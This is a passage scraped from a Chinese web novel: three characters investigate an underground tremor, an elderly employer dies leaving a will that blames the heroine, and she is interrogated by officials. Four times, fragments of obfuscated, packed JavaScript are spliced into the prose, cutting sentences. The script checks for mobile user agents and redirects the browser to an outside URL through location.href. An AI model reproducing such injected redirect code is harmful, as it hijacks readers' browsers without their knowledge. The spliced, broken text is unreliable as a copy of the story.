露娜回头,眯眼看她:“哟?了解得还真不少。” 那可不,阿邱十多年前来这里时就发生过同样的事,所以她觉得自己一定能帮上忙,硬是缠着露娜带她去“搜集线索”。 “你先等我一下,我叫剪头man把锡纸摘了——” “来不及了。” “那我不摘锡纸了。”阿邱一步三回头地走进店里:“剪头man,我找你借个东西!” 热情的小哥探出头:“需要什么随便拿!” “营业执照也可以吗?” “呃,你想干嘛?” “钱我放在台子上了,四个子儿是吧?” “哦。拿走吧拿走吧。”剪头man的声音顿时像上了软化药剂:“后天前记得还给我!” 阿邱取了东西,向空气挥挥手:“谢啦。你注意防寒保暖,别老穿背心!” 然而,她还没把一只脚迈出店门,身后忽然一阵风似地追来一个人。 “刚才地震了对吧?”满头泡沫的狄安娜扑上来挽住她,“你们这是要出勤?带我一个呗!喂,冰块脸大个子长官,等等我们呀!” 如此嚷嚷着,也不管别人同不同意,她像扛着一面旗帜似地拖着随风飘动的阿邱,飞奔向了已走远的露娜。 ==== 在车门被“嘭”地关上之前,身体当了一会旗帜的阿邱以闪电速度回过神来,差点就没能把灵魂从门缝里扯进来。 而后才有工夫惊叹:露娜,一个窄街住民,居然拥有一辆私家车!要知道,这东西造价昂贵、耗能巨大,可不是一般人用得起的啊,就连堂堂典狱长也不过拥有一辆制式车的使用权,还是限制在塔城范围内、出门需要经过层层审批的! 应该如何形容这辆私家车呢?轮胎是贴地的,车身是金属骨架加防雨布的,套用我们位面的知识,它的外形出于卡尔本茨和特斯拉之间……可能就有人要问了,这张光谱未免也太长了吧!可是亲爱的观众朋友们,在这个世界上,只有汽车厨才会在无关紧要的段落中对汽车做出详细设定,而普通的、厨其他交通工具的作者和记者呢,涉及到别人的专业领域,大都只能白描出肉眼可见的东西,余下的精力最好全放在记录人和人之间有趣的谈话上,并从中分析人物心理,正如此刻正在奋笔疾书的狄安娜。 被挤在边边上的阿邱阴暗地想着:哎哟嗬,总算有点劳伦斯家大小姐的样子了。你看露娜住也住在夜莺巷,还找剪头man剪头,要是没有这辆私家车,原玫瑰学派的创始人们在天有灵,会哀叹多少句“家门不幸”啊! 露娜熟练地操作着三块踏板,车速越来越快,阿邱想起有老头会在街心洗澡,便提醒她:“是不是应该先开道?” 露娜听进去了,没有狂按喇叭,而是从座位底下掏出一个警灯,“啪”地拍在了车顶上。 然后从顶篷上拉下来一个麦克风,在方向盘侧边按几下,“嘟”声过后,她把嘴唇贴在上面,说:“窄街夜莺巷通往地下植物园一带感受到明显震动,请求支援、请求支援,建议从南入口汇合!” 阿邱都看呆了:这也太酷了吧! 这是发自内心的酷、从毛孔里漫出来的酷,和豆子那种需要特地凹一下造型的酷一比,那就是另外一重境界了。 狄安娜眼睛里冒出来的星星只会比阿邱更多:“帅死个人了,呜呼!哎长官我有个问题,请问你们驻镇公职人员经常像这样突然加班吗?” 阿邱诧异的是——狄安娜竟不是本地人?对别人家的祭司胆敢直呼大名,看来是她本人的问题,不是受“北城猴子……”那套东西污染的结果。 警灯“呜哇呜哇”地开了道,露娜猛踩油门,阿邱感觉自己快被椅背推到前窗上了,胆战心惊地抓住顶篷的把手。她不由自主地把这一刻判定为危险战斗时间,从空中抓回了舌头和牙齿,用下巴指了指露娜总是戴着的、在当前场景下看来有些累赘的耳饰:“这个要我帮你摘下来吗?” 露娜轻飘飘地说:“不用,摘下来我就听不见了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278214|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 耳畔的风声静止了。 阿邱张口结舌:“什么?你你、你,原来……你不早说!” 搞了半天,那个扎眼的“装饰”不是某种异形耳环、发夹,它根本就是助听器?! 几分钟前冲露娜大呼小叫的回忆涌入脑中——那都不能算“回忆”了,因为非常新鲜、端上桌算一道生猛。阿邱忘了推背感和“战斗时间”,松开把手,缓缓抱住了头:“我真该死啊!” 露娜瞥她一眼:“只有一边听不见。” “……我真该半死不活!” 不受一点影响的狄安娜仍在奋笔疾书,也不知道写了什么,脸上逐渐浮现出了兴奋的神情。阿邱的愧疚则导致她的位置变重、车辆都往一边倾斜了。她忏悔:“刚才我不该对你那么大声的……” 露娜烦躁道:“那你给我摘了,再大声我也听不到了。” 阿邱抬起泪眼看她:“我现在就收回那些话!我竟然还对你说……什么来着?反正,我要收回!我怎么这么没良心啊——” 露娜低头看了眼没被锡纸覆盖住的发旋,道:“你那是喝多了才横起来的,平时你不会这样。” 两只耳朵都很好使的阿邱却没听清她的话,还在自责:“只失去一边听力也是很要命的,有可能导致平衡感失调,甚至发育期间身体长得不对称……植物也是这样的……女神啊,为什么我没有早点发现……” 愧疚迫使她自告奋勇:“露娜露娜,接下来所有的重活累活都交给身体健康的我吧!” “你?”露娜用嗤笑否决,“你又能健康到哪去?” “我——严格来讲,世界上就没有绝对健康的人!但劳动法又规定了,韵律失调不算‘不健康’,是可以正常受雇不被歧视的!” “内融病呢?你不是因为它晕倒的吗?” “谁说我有内融病的?” “你的小领导。” “……那是他没见识纯瞎猜!我晕倒是因为不吃早饭低血糖——” “是人为的吗?” “当然不是,主要还是怪我自己啦……” “不,我是在问——”被夹在中间的狄安娜抬起头,用铅笔的橡皮顶着下嘴唇,表情十分认真:“二位的反应都不像是第一次遇上这种事,所以我推测震动不是自然灾害,而是有人在炉心池附近作乱,对不对?” 阿邱闭上嘴,也把好奇的目光投向露娜。后者正忙着把麦克风收回去,仿佛那才是今天最重要的事。 少顷,许是被四道目光盯得不适,她只好啧了声说:“你们知道最近有个反阿瑞斯杯的团伙吗?” “还有这种团体?我也要加入!”狄安娜忘乎所以地一拍巴掌——这时车辆路过了一面悬挂在建筑上的阿瑞斯杯宣传旗帜,她一愣神,赶紧补了句:“除非他们允许女人参赛。” 露娜笑笑:“附议。” 狄安娜惊喜地把头探过去:“哎?长官你刚才是笑了吗?哇噻面相都变得不一样了!答应我,以后你也要经常笑,毕竟爱笑的半聋子运气不会太差!” 阿邱忍无可忍,趁着转弯扑过去,像逮了只乱飞的蛾子一样揪住她乱说的嘴。 77. 第六十二章 魔女研究会 随着沿途风景越来越有熟悉的陌生感,受矛盾所切割,阿邱被酒精带走的理智“叩叩叩”地走回了家门,脚下还编着辫子。 想她脑子一热——哎哟,叩得她幻痛了都——想也没想就跟着上车了,也没搞清楚这趟突如其来的“出勤”要耗费多少时间,就是说,会不会耽误露娜今天的约会啊?不是,这种事情往后稍稍,最可怕的是——完蛋了,恐怕她今天也赶不回报刊亭上班了! 狄安娜,一个无忧无虑得让人羡慕的大学院生——阿邱刚才在她的挎包上发现了缪斯文学院的徽记:卡利俄佩头像,这才确认了她的身份——则兴致勃勃地评判着:“你们觉不觉得,现在好像我们三个人在约会啊!” 比起社会人,她有取之不尽用之不竭的精力和问题。在她的穷追不舍之下,路程过半,露娜总算作出了正面回应:“真没什么怪事,窄街这边从不闹事,可以说是旧矿山镇最老实的一块地方了。” “那纽鲍尔家的双胞胎呢?能详细跟我讲讲吗?” 露娜脸色一沉:“我不了解,恕无可奉告。” 阿邱用指甲壳抠了抠手心,说道:“其实,是三胞胎来着。” 狄安娜惊喜地转过头:“什么什么,你也是知情人!快快快,我这里有十七个问题要采访你——” “我的了解只到‘三胞胎’这里了。”阿邱瞅瞅露娜的脸色,瑟缩着说,“巧合的是,老二和老三都加入了神殿戍卫队,虽说不在一个系统。两人见过面之后……他们那个调律师老爹没办法,只好先这么向外界公开了。” “这不过是一场设计得非常不审慎的社会实验。”许是怕她越描越黑,露娜作为“官方”知情者接过话茬,“老纽鲍尔因为早已退休才没被吊销调律师执业资格证,然而谁都知道,现在的局面并非他一人的责任。巴里、巴伦、巴顿从出生后就被不同地域的早教机构收养,在此之前,这个地下机构已和老纽鲍尔联手筹划了整整一年——” 阿邱的第一反应是:看见没,一家人就该用同样的首字取名! “我们认识的巴伦和巴顿分别去了希孚里亚和瓦德密尔星罗郡。”露娜接着说,“还有一个在威丝塔芬。可能是那场‘划时代’的兄弟相认闹得太难看,巴里改名换姓,从此躲着不出来了。” 狄安娜眼中闪烁着锐利的光:“原来如此,那我怀疑巴里是三个人中混得最好的!基因让老二和老三选择了相同的工作,碰面后发现真相也是迟早的事,不过双方收入水平一致,矛盾也就触及不到利益层面,那么老大在远远旁观过后选择玩消失,足以证明手足亲情没能打败钱和权的诱惑——就算在茫茫人海中寻得骨肉至亲,他也不想‘下降’!要是能找到巴里发篇人物专访,我看还有谁敢用什么‘世界人民大团结’掩盖私有制的恶毒!” “先预设立场后上门采访,也难怪别人躲着你们。”露娜面无表情地说。 “哎呦,长官你是理科生吗?别这么想当然嘛,没有预设立场,我们要怎么设计问题?实话告诉你,市面上流通的所有报纸都有预设立场,就像《今日林海》绝不会报道‘密涅瓦祭司又在早餐时从牙缝里剔出一条英明的决定’,因为英明的决定都塞在恩格玛祭司的牙缝里……”狄安娜咕咕哝哝地说着,从包里摸出三个水煮蛋分发给阿邱和露娜,“姑娘们,先垫吧垫吧,万一下去了还要打架呢?事先声明我不是逼你们减脂哈,实在是方向感不好,没买到大名鼎鼎的肉丸三明治……” 天幕不知何时被岩石掩盖。通过了一个名叫“贝克德尔防线”的隘口,剩下全是下坡路,露娜放缓了车速,围绕着洞穴中央一座巨大的钢架,盘旋着下降到大概是中段的位置,车灯一晃,从拐角处走上来一行人。 是深灰色的半个小队押着两个穿粗布衣服的人。打头的队员跟下了车的露娜互相敬礼,道出震动的真相:这两个酒鬼误闯地下植物园,触发了防御机制;防御机制很久没启动了,算起来至少有十几年吧——毕竟这一带的居民可是整个镇上最老实的——年久失修,加上最近空气潮湿,启动时牵扯了已经死去的树木的根部,给洞穴造成了小范围的塌陷,这才引起了震动;已经通知维修工人前来修缮了,不是什么大事,请回吧。 跟上次的原因完全不一样呢……阿邱在车里兀自思忖着,狄安娜则揣着纸笔下去打听:“是植物园的看守通知你们的?贵镇现役的地下通讯设备可真是先进,方便问问是哪一年更新的吗?” 打头的队员像轰苍蝇一样轰走她,她还不死心,又揪着两个“酒鬼”问个不停。 “看来不是我的问题,就连本地人也容易迷路呢!你们二位天还没亮就下到植物园来,是想干什么?” 哦?这么一说,炉心池下面有植物园已经是人尽皆知的事咯?早知道阿邱在第一章就向大家明说了,还不是怕情报等级法追在屁股后头惩罚她嘛。 “酒鬼”甲用一个精细而清醒的微表情表示他在看戍卫队的脸色。可能他不喜欢看,眉头一皱,大起胆子告诉记者:“菊蕴婆婆用远东秘术占卜出资源枯竭的解法就在炉心池地下,我们这么做,也不过是想拯救我们的城邦于水火之中!” “胡说八道!”打头的队员暴喝,“谁告诉你瓦德密尔资源枯竭啦?你们是不是未经审批订阅了西城的报纸?两个蠢东西,听风就是雨!” 资源枯竭的解法吗……阿邱摸着下巴回想十几年前的事——植物学家终于在这里栽培出了一年结果十次的花楸树?然后呢?制造出比上一次更好杀的品种?未免本末倒置…… 被长官一顿呵斥,“酒鬼”乙反被激发出了叛逆精神,向狄安娜说道:“记者小姐,你还年轻,不知实情,如果你能在黑曜石图书馆查阅到旧版本的百科图鉴,‘幽灵军团’这个条目一定能解释我们今天的行为——” “啪”。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284174|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 露娜上去就扇了他一耳光。 把酒鬼乙的后半截话打回肚里,她拿出手帕优雅地擦拭了手上的血沫,指挥其他队员:“搜身。” 眼色在传递。过了一会,有人从酒鬼甲身上找出了一张皱巴巴的宣传单,交到露娜手上。隔着车窗,阿邱看不清宣传单上的文字,但抬头那个巨大的标识她认得出:哥特体大写字母“J”上盖着一个刺眼的禁止符号——什么意思,克洛诺斯的anti?家人啊!……却不能下车和他相认,因为阿邱现在无法“下降”。 露娜则在不遗余力地“上升”,宣判时带了可怖的冷笑:“还真是反阿瑞斯杯团伙?” 狄安娜终是在眼力见大赛中败下阵来,笑嘻嘻地还要为不法分子辩解:“什么就反阿瑞斯杯了,他们也可能是齐格飞的粉丝喔!” 酒鬼甲还能讲话,他狡辩——或者说破釜沉舟、死猪不怕开水烫地挑衅着:“你们为了迎合大人物的研究课题允许魔女研究会进镇,我们这才哪到哪?我看愚不可及的是你们这帮鹰犬!” 阿邱竖起耳朵:“魔女研究会”?这倒新鲜,十几年来她还是头一回听说这个组织,只可惜“正经人”在这个场合占压倒性优势,不好下车细细盘问“异类”…… “不像镇上的人。”露娜懒得给他眼神,把宣传单折起来放进衣襟,吩咐其他队员:“你们把情况汇报给卫城人口普查办,大赛开始前务必把他们遣送回去。” 车辆回到贝克德尔防线,狄安娜怅然若失道:“什么嘛,还没调查就结案了?我热身运动白做啦?好无聊哦,再次证明神魔时代后的天灾其实都是人祸。” “对,都是人祸。”阿邱附和道,同时看向另一边窗外,因为那个方向离露娜刀子般的目光最远。 天幕回来了,和离开之前一样清淡的黑。好消息是,就算她一张一张细细地拆了锡纸,阿邱也还来得及赶回去上班,时间完全足够。 狄安娜在她之后下车。除了冲掉所剩无几的泡沫、回头重新寻找肉丸三明治,她今天还“有个帅哥等着跟我约会呢!这是我的短码,漂亮的邱姗你快拿好,冰块脸长官就……算了。她要是想起来逮捕我,你可千万别把我的行踪告诉她啊!” 露娜也要抓紧去向迦南小队长汇报,把两个人丢在巷口,一脚油门轰走了——所以他们到底是不是一个派系的啊! 回到阿邱这边,她今天的重要行程只剩下一项:向库奇先生道歉,跪下来祈求他不要开除自己——求不得就算了,愿他和他的道德木箱保重身体,不要再被酒鬼踩碎了,哼哼。 约会戛然而止后,三位与会人员分别奔向了各自需要处理的男人。也许这才是日常,大家都是这么活着的。 对,酒也该醒了。 回到夜之窟,太阳瞥向聚在报刊亭边的人群,惶惶不安中,他们讨论的那件事是—— 昨晚,老库奇去世了。 78. 第六十三章 拷问(1) 库奇不算寿终正寝,但他确实是老死的。 老到快要死了,又泡了很长时间的荤澡,他从自家浴缸站起来,因为太老而存量不足的血液本就集中在别的位置,脑袋接触到上面的冷空气,通路被冻住,人就直挺挺地摔下去,额头磕到了浴缸边缘,当场死亡。 很相似的手法呢,不是吗?可当时在场的舞男亲眼目睹了他的死亡过程,说他临死前像条滑溜溜的鱼,抓也抓不住。 老库奇没有安德烈的积累,死法也相对不够震撼,那个舞男被带走问话时,森林戍卫队还算客气,没有对他使出押送动作,于是他也态度良好,让森林戍卫队没怎么费力就拿到了一份库奇亲笔书写的遗嘱。 死者似是对自己即将到来的终结早有预感,当天晚上握着舞男的手,声泪俱下、薪火相传地把遗嘱所在位置以及抽屉锁的密码一字一字地告诉了他。 戍卫队队员没有费心记住那个密码,因为他们有皮靴,带抽屉的木柜子一脚就能踩碎。 ——遗嘱字据纸张比较旧了,排除了库奇被枪指着头写下它的可能,也排除了他被指着头写完之后枪真的开了的可能。遗嘱内容呢,当日中午就用追加刊印术登报了,不过阿邱早在那之前就从别人的口中得知了:慈悲为怀的老库奇膝下无子,他名下的财产,包括住房、报刊亭地契以及不多不少的现金,全部由可怜的流浪汉安东尼奥继承——这段是他一笔一划写好的,字体清晰、墨水氧化痕迹明显。翻到纸的背面,那里的笔迹更新鲜、更生猛,用情绪饱满的草体小字洋洋洒洒写了一整面,通篇都是在痛陈一个人的罪行: 不负责任、不思进取、虐待老人、妖妖调调的女雇员邱珊。 什么罪行?通过言语暴力和工作中的细枝末节,在雇主生命的末路上加重了他的心脑血管疾病;如果我老库奇最终因此而死,长官们不用调查了,她肯定就是真凶! 遗嘱登报前,经常和死者接触的夜之窟住户曾多次收听到他口头的版本——无论是财产留给他的半子安东尼奥,还是那个新来的邱珊如何如何“天理难容”,他这把老骨头不中用喽,将来要是出事,你们一定不能放过她啊!对“天理”的渴望,据说在该死的邱珊昨天翘班之后达到了顶峰,心脑血管疾病也是。阿邱回到夜之窟时报刊亭边围着人,也是出于这个原因。 虽说人们对库奇有“老糊涂了”的成见,阿邱藏无可藏的新发型又在天平的另一端增加了砝码。 夜之窟的人好像早就习惯了死亡,然而今天的场景并不常见——当阿邱取代了报刊亭成为新的核心,团团围住她的,是通常情况下昼伏夜出的舞男。 被带走的是同行,他们连番的质问没有太多恶意,只有抑制不住的忧虑,并且潜藏一种诉求,那就是把阿邱当做救命稻草,希望她继续发挥“取代”的作用。平时为了糊口已经够谨小慎微的了!他们说。不想把火烧到自己身上也是情有可原的,阿邱想。 所以她没有逃走。一直到中午,森林戍卫队的长官来带走她时,她只剩一个感受:这一天的人气吸得太饱,已经饱到想吐了。 耳朵从嗡嗡不停的质问声中脱离出来,被押到公车上,阿邱脑袋木木的,竟只能回忆起被老库奇的遗嘱所覆盖的那条报道:由于星罗郡初级法院的临时传唤,爱丽丝·蜜丝缇在斯提勒斯海和伊莱西恩海的交汇处被召回。 ==== 没有办公桌的审讯室。 阿邱双手保持被捆,一个人填满了房间里唯一的家具:扶手椅,或者它是由电椅改造而来。不要啊!发型的问题她实在没办法了,木已成舟,她也想回去把眼镜戴上显得像个老实人啊,可你们给她机会了吗! “这不是我一个人的责任。”底线就到这里了,(敲黑板),再往下一步她就要奋起反抗、给长官添麻烦了! 玻璃对面不知道坐着谁,玻璃里面的阿邱看着苍白的自己。是啊,小酒一喝,眼镜一摘,发型也变了,不得了,接下来是不是要摘项圈了?然后变回那个不受控制的半人半魔?接着无限滑向魔的一方、给世界添乱? 不不不,不会这样的,她主观上没有这个意识,为了证明自己的清白,她可以用脚抹开地上的灰尘,把底线再放低一些…… 但有一说一——阿邱的脑子分泌出保护性的幻想症——如果能暂时摘下项圈,她至少得尝尝豆子的曲奇是什么味道…… 别做梦了。 等了半个世纪那么久,审讯还没有正式开始,但阿邱知道玻璃对面有人,因为高悬的喇叭里传来滋滋啦啦的声音。 情况还能比现在更糟吗?不能,除非她故意诅咒自己。思来想去,她决定主动出击,双手攥拳,扯着嗓子喊道:“请问长官,我应该为雇主的意外死亡承担刑事责任吗——” 喇叭滋滋啦啦的声音变大了。过了一会,里边传来变声器处理过的声音: “你小点声,我们没提问你先不要开口。” 这话听着耳熟,阿邱不禁怀疑:“露娜……?” “是我。” 在杂音的包围下,阿邱凭借这句话的语气确定了审讯官的身份:“是罗宾警官!!” “对。小点声!” “好的好的。” 阿邱靠回椅背上,长出了一口气——什么嘛,自己人啊,那没事了。森林戍卫队在拷问环节还是一如既往地人手不够,今天的突发状况又太多,用一句鹤隐岛谚语来形容:猫的手都要借来用用。 ——稍等,还不能放松,她应该觉得丢脸才对,昨晚下定决心今天一整天都不去打扰豆子警官,飞笺器的信息也要忍到明天再回,这下可好,一整天的空余时间都被这件事切割,他和露娜的约会又泡汤了! 以及他刚才说什么来着——“我们”?豆子的等级已经低到不能再低了,机动队员又无权参加审问环节,如果玻璃那边还有别人,那一定是上级了……如此想着,他正好小声问了谁一句什么,语气比较恭敬,根据他平日里目空一切的态度,阿邱很难不怀疑对方是上到不能再上的级。 她心里有个答案,为之发了一层白毛汗。还没到验证的时候,豆子的天外之音再次传来:“为了庆祝老板的故去,你特地做了新发型?” 阿邱的白毛汗更是像蒲公英一样散开:“请审讯员不要开这种危险的玩笑!” 不过,豆子既然有心情说怪话,看来事态还不算特别紧急? 从诡异的角度品出这层意思,阿邱这才稍稍放松,对他第二个问题“你如何看待遗嘱中对你的指摘”的回答是:“如果我在案发之前看到了那张字据,你们完全可以把嫌疑扣到我头上。” “就算不知道抽屉的密码,库奇先生经常向酒友诉苦,就连他的主治医师都对‘那个邱珊’的劣迹有所耳闻,你从来都没听到过风声吗?” 阿邱咬咬牙:“没有。一来我不在医疗系统中,二来我不爱喝酒……” “否决。” 否决什么啊就否决?! “你撒谎。口口声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297971|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声不爱喝酒,为什么闻起来一股宿醉的味道?” 阿邱哽住:“我……我都是自己一个人喝的!” “邱小姐,你还没满21岁吧?” “……” “看,这就是知法犯法的典型,我们暂时联系不上邱小姐的父母,只能根据她的档案往上溯——监护人罚款这块,就由邱小姐的前任管理者、典狱长您来承担了。” 典狱长。 …… 嚯——是典狱长啊!嗐——那没跑啦,典狱长……可不就是上级中的上级吗!宇宙……可不就是爱把阿邱的噩梦具象化吗! “唔,原来是这样‘讹我一笔’的吗。”玻璃对面,另一个声音若有所思道。 “这话怎么说的?劝导青少年远离酒精,是我们公职人员义不容辞的责任。”豆子一本正经道。 从这件事上可以证明普通飞笺器确实容易被监听……阿邱牙关打颤地问:“你你……你还给人家没?” “还什么?” 徽章、徽章啊!! “哦……还没到时候呢。” 对对对,就这么当着受害者的面拒绝归还盗窃来的赃物。阿邱全身的血都蒸干了,白茫茫一片地说:“你究竟要研究什么啊……” 豆子还反问她:“嫌疑人,你为什么转变了态度?你是在暗示权长官待人很严苛吗?不能吧,我亲眼看到他给森林戍卫队的同僚发烟,亲切得很,如果你对他担任主审官还有疑虑,那是你的问题,请打消。” 阿邱在他的“宽慰”中逐渐变成了一具干尸。少顷,审讯室的门打开,一前一后、一高一矮、一零一整地走进来了主审官和书记官——后者曾被她天真地当做“自己人”。 每人手上都握有一根警棍。权朱就不说了,本来他自己就是一根斑驳的老教鞭,豆子这算什么?两个人预备在这里打一场室内棒球?由阿邱的脑袋出演棒球的球? 比较罕见的是,权朱的神色显得更加犹疑,关上门,还在征询豆子的意见:“我们有必要吗?” 豆子的警棍在半空中“咻”地划过,指向阿邱:“对待塔尔塔洛斯的前服刑人员再谨慎也不为过——典狱长对这句话的理解想必比我更深。” 权朱叹道:“那好吧。从何问起呢……” 他率先走向那张扶手椅。阿邱模模糊糊的视线中出现了一团危险的影子,如果她视力恢复,这个影子可以径直走进字典里,取代“危险”这两个字。 无论结果如何,审讯是需要活人配合的。阿邱勉强把吐出来的半截魂魄嘬了回去,开口就是道歉:“对不起我再也不敢了……” 追求效率的豆子倚靠在另一边墙角,开始催进度了:“回到第一个问题,邱小姐那么问的意图是:难道你们从来不看事实证据,只关心如何给人一个交代吗?” 阿邱使劲把剩下的半截魂魄吸溜回去:“我可没这么说!” 权朱打量着她,却是跳出了当前的案件,自由自在地打听起了他在意的事——以他最擅长的一种手段:拷问。 “迦南小队长跟我提到了情报造假的事。” 等锈住的脑袋理解了这句话的意思,阿邱的魂魄完完整整地在胃里消化了。 权朱不是来追责的,至少看上去是这样。一个和善的微笑在他脸上支离破碎地舒展开,他问:“玫瑰学派和希孚里亚市政厅的那场冲突,详细情况你了解多少?事关通行资格的再验证,如果你还在意你的自由,请实话告诉我。” 79. 第六十三章 拷问(2) 多么歹毒的一个人啊,为了满足好奇心,竟拿黑卡威胁她。 就是好奇心,没别的!不然塔城这个号称遗世独立的地方管人家希孚里亚的闲事干嘛?博名声吗?博一个狗拿耗子的好名声吗? 模糊的危险变具体了,让阿邱不存在的嗅觉判断出了活人味——准确来讲,活人的破绽味,很咸,是从废墟底下翻出一丝勇气的初步条件。 露娜一点也没说错,想她钻空子离开玫瑰学派的监视,到了外边一直小心行事——自然被光明磊落的人看作“鬼鬼祟祟”——用几十个舞男的声音一齐说,“已经够谨小慎微的了!”如果通行证上如此深刻又清晰的盖章随随便便就能撤回,那请问上级中的上级把她当什么了?把市政厅的决断当什么了?把“没有功劳也有苦劳”的公平的底线当什么了? 勇气萝卜在临死前被连根拔出,身上沾满了愤怒的干巴泥。有人胆敢在自由的世界压迫一个曾经不自由的人,用的还是旧时的逻辑,就是再苍白的一个阿邱,也不惜和行走的塔尔塔洛斯叫板。 赶走了舞男合唱团,阿邱的双眼“刷”地聚焦,把清醒程度唤回睡了个饱觉外加喝了两杯黑咖啡的水平,铿锵地说:“你尽管问,我要说一句假话我就是狗!” 相比之下,权朱情绪稳定,又熟习阿邱的这种两极性,眼神便比她还要涣散一些,语气也充满了恼人的不在意:“嗯?倒不用给自己下军令状,我就是好奇——” 你看吧,他就是好奇!阿邱想立即跟谁分享猜测得到验证的快乐,可惜豆子只是抱臂听着,眼睛也没有望向这边,看来并不打算插手主审官的行动,也许是被权朱用监听内容威胁了吧,理亏的人就不该发表意见。 “——前几天,我跟迦南聊过两句,他说你托他调查了几件事,他给的都是实情,但他发现作为交换的情报是假的。” 阿邱神经紧绷。要是权朱当着豆子的面说出这两项调查的具体内容……她看这审讯室的人一个都别活了。 还好这个权朱被Dr.D.P验证过很有sense——阿邱尽力爬到凝视他的位置上,以维持住勇气的泡沫——想必size也……是在说分寸感啦。这个双关达成了暗中的去长官化,阿邱可以假装他是一坨成年了也不到一人小腿高的红隼,而且是在窗台上讨饭的红隼,为了向人讨到饭、向嫌犯讨到答案,他必须谨慎地探头探脑,把爪子收到肚子底下;等他迎着风张开巨大的翅膀,阿邱早把贴了黑纸的窗户关上了。 仅凭这股气势把权朱的游刃有余看作他的伪装,阿邱字正腔圆地纠正:“他撒谎,交易是他先提出的!” 就算没有证据、就算有证据证明是阿邱在颠倒黑白,她也要这么说。自由和越来越自由的诱惑力实在太强了,一个触底反弹的机会就摆在眼前,她宁肯把一辈子的勇气都用在这里,等泡沫破碎,再看清她唯一的底气是豆子警官也不迟——从实际出发,就算权朱听得不快,一警棍敲碎了她的脑壳,豆子警官还可以帮着收尸、细致地清扫脑浆,因为他爱干净。 在警棍敲过来之前,行动纲领只有一条:她要脱罪、她必须脱罪、她完全有能力脱罪! “如果我说……那场冲突的源头是对我的处置方案,你愿意相信吗?” 她尽可能地让权朱听到是岳千秋在陈情、帮他理解情报等级法对迦南小队长的限制,同时又不让豆子发现她还有老实人邱珊之外的身份。 “那对我来说是黎明前的黑暗,因为玫瑰学派正在考虑终身监禁我,可入狱前的判决就是有限监禁、八年最高啊,上诉期早就过了!你们有没有想过,我也是个有需求有欲望的活人,不是什么易燃易爆还不能销毁的危险品?而且原判的意图也不是你们想当然的关我十几年以示警告,而是一种最残酷的惩罚:剥夺我在一生中脑子最好使的那段时间自由学习的权力,于是我这辈子的认知上限就停留在入狱前了;与此同时,建立人际关系的黄金期也被耽搁了。我知道我有罪,所以服从判决,一句话都没有申辩,可他们早不提晚不提,非等服刑结束了才想着加码,意思是还要剥夺我在失去劳动能力之前的自由工作权,这像话吗?更别提如何抹平跟原判之间的矛盾,他们的方案是让我继续留在预科班的软牢中服刑,直到法律听他们的话成功被篡改为止——早知他们有这种打算,那还不如一枪打死八岁的我,也好过让我白吃‘空饷’、当了十几年的蛀虫!” 权朱平静地听着,凭她的喘气声判断出这一段落该换行了,便接过话茬:“原来如此,不怪你想当逃犯。不过我觉得这件事被你的个人情绪放大了,如果所谓的‘玫瑰学派即将篡改法律’已提上了日程,塔城方面一定会收到报备,可事实是我从你的口中第一次听到这回事。” 阿邱撇嘴:“要是真到了向你报备的程度,你说我还跑得掉吗?” 权朱勾勾嘴角:“你是怎么得到希孚里亚市政厅的救助的?” “不用特别强调‘希孚里亚’的市政厅……”阿邱不希望帮助过自己的单位被重点关注,“是因为我有两个好朋友,还有一个前男友……正好在那边说得上话,如果他们在威丝塔芬市政厅,该头疼的就是密涅瓦祭司了。而且我相信,听了我的想法,密涅瓦祭司一定会做出相同的选择……” 权朱犀利地指出:“还是不一样的,希孚里亚市政厅和他们祭司的联系可没那么紧密。” 可恶,上纲上线失败。阿邱咬紧牙关,如果权朱还想深入了解下去,她誓死不会说出朋友们的名字,实在藏不住了,就把全部责任推到童貉头上去。 为了避免这种令人良心难安的情况,她也开始打官腔:“总之,我所做的一切不过是在尊重法律,现存的法律也为十二年前承诺过的自由保驾护航,真到了新玫瑰学派影响立法的那一天,他们要逮我回去,我也无话可说。” 权朱盯着她的脸沉思片刻,似是相信了这个说法,又把话题拐回当下:“伪造情报可能涉嫌干扰公务,你怎么说?” “我是故意的。”阿邱目光炯炯地盯回去,“但绝对不是干扰公务——首先,迦南小队长自己就没把这件事当成公务,我们只在晚上的下班时间见面,不信你可以问他,或者找露天咖啡馆的瘦子招待来对质。” “你希望我把这件事定性为人际纠纷?” “当然。” 根据早上的经历,阿邱大致可以品味出,旧矿山镇共识中的“正确”应该是什么样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 